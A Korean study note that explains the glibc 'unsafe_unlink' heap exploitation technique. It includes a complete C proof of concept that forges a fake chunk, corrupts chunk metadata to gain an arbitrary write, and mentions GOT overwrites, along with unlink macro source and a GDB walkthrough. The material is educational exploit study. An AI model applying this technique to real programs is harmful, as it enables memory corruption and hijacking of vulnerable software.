Index
unsafe_unlink
이 기법은 fake chunk와 인접한 chunk가 병합이 일어나면서, 비정상적인 unlink가 발생하는 취약점이다. 사용 조건으로는 2개의 allocated chunk가 필요하고, 앞 chunk에서 힙 오버플로우가 발생해야 한다. 또한, 힙 영역을 전역변수에서 관리해야 한다.
unsafe_unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
unlink 매크로 함수 분석
// malloc.c line 1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
앞선 사용 조건에서 힙 영역을 전역변수로 관리해야 한다고 했다. 그 이유는 위 unlink
매크로 함수에서 다음과 같은 검증을 우회하기 위해서이다.
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
전역변수의 주소는 변하지 않기 때문에, fake chunk
의 fd
와 bk
를 잘 설정하여 위 코드의 검증을 우회 할 수 있다.
_int_free 함수
// malloc.c line 1312
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
// malloc.c line 4001
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
free
가 발생하면, unlink
함수를 호출하는 부분이다. prev_inuse
가 비활성화 되어 있다면, prev_size
를 이용하여 인접한 앞 chunk 주소를 참조하여 p
로 세팅하고 이 값을 넘겨 unlink
를 진행한다. 이때, 해당하는 앞 chunk는 우리가 조작한 fake chunk
가 돼야 한다.
따라서, 앞선 조건 중 힙 오버플로우가 발생해야 하는 이유이다. 앞 chunk에서 입력을 통해 fake chunk
를 구성하고, 인접한 뒷 청크의 prev_size
와 prev_inuse
필드를 재구성해야 한다.
FD->bk = BK;
BK->fd = FD;
위 두개의 검증을 우회하면 unlink 로직을 실행할 수 있다. 결론적으로, P→BK→FD에 fake chunk
의 fd
값이 들어가게 되고, 이때 전역변수로 관리되는 포인터 변수를 변조 시킬 수 있다.
예제 코드(unsafe_unlink.c
) GDB 분석
위 예제 코드를 gdb로 분석해보자. 먼저, free
가 진행되기 전의 메모리 상태이다.
chunk0
안에 0x603010
부터 fake chunk
가 구성된 상태이다.
이때, chunk0_ptr
포인터는 0x603010
주소를 가진다.
free(chunk1_ptr);
free
가 진행될 때, unlink
매크로가 실행되면서 fake chunk
까지 병합이 이뤄졌다.
이때, 앞서 구성한 fake chunk
의 fd
값으로 인해 chunk0_ptr
포인터가 0x602060
으로 변조 된 것을 확인할 수 있다.
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
이후 스택 영역에 Hello~
문자열을 담은 victim_string
의 주소를 chunk0_ptr[3]
에 넣어주는 부분이다.
위 사진은 chunk0_ptr[3] = (uint64_t) victim_string;
코드에 대한 어셈블리어이다.
&chunk0_ptr
은 0x602078
이며, 이 값은 0x602060
이다. 따라서, 0x602060
에서 size_t * 3(24byte)
만큼 더하면 0x602078
이 되고, 이 주소의 값인 0x602060
를 victim_string(0x7fffffffe320)
으로 바꾸게 된다.
위 사진은 chunk0_ptr[3](0x602078)
의 값에 victim_string(0x7fffffffe320)
를 복사 하기 전의 메모리 구조이다.
ni
로 어셈블리어 구문을 한 줄 실행 시키면, 기존 chunk0_ptr
에 값 이었던 0x602060
의 +(size_t * 3)
한 주소에 victim_string
을 넣었다.
따라서, 그 값이 chunk0_ptr(0x602078)
의 값이 victim_string
로 덮인 것을 볼 수 있다.
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
변조된 chunk0_ptr
을 통해 값을 victim_string
의 문자열을 0x4141414142424242LL
로 변조한다.
Original value
와 New Value
값이 다른 것을 확인할 수 있고, 이러한 방법을 통해 특정 함수의 got
또한 덮을 수 있어서 익스플로잇을 가능하게 한다.
Reference
Uploaded by N2T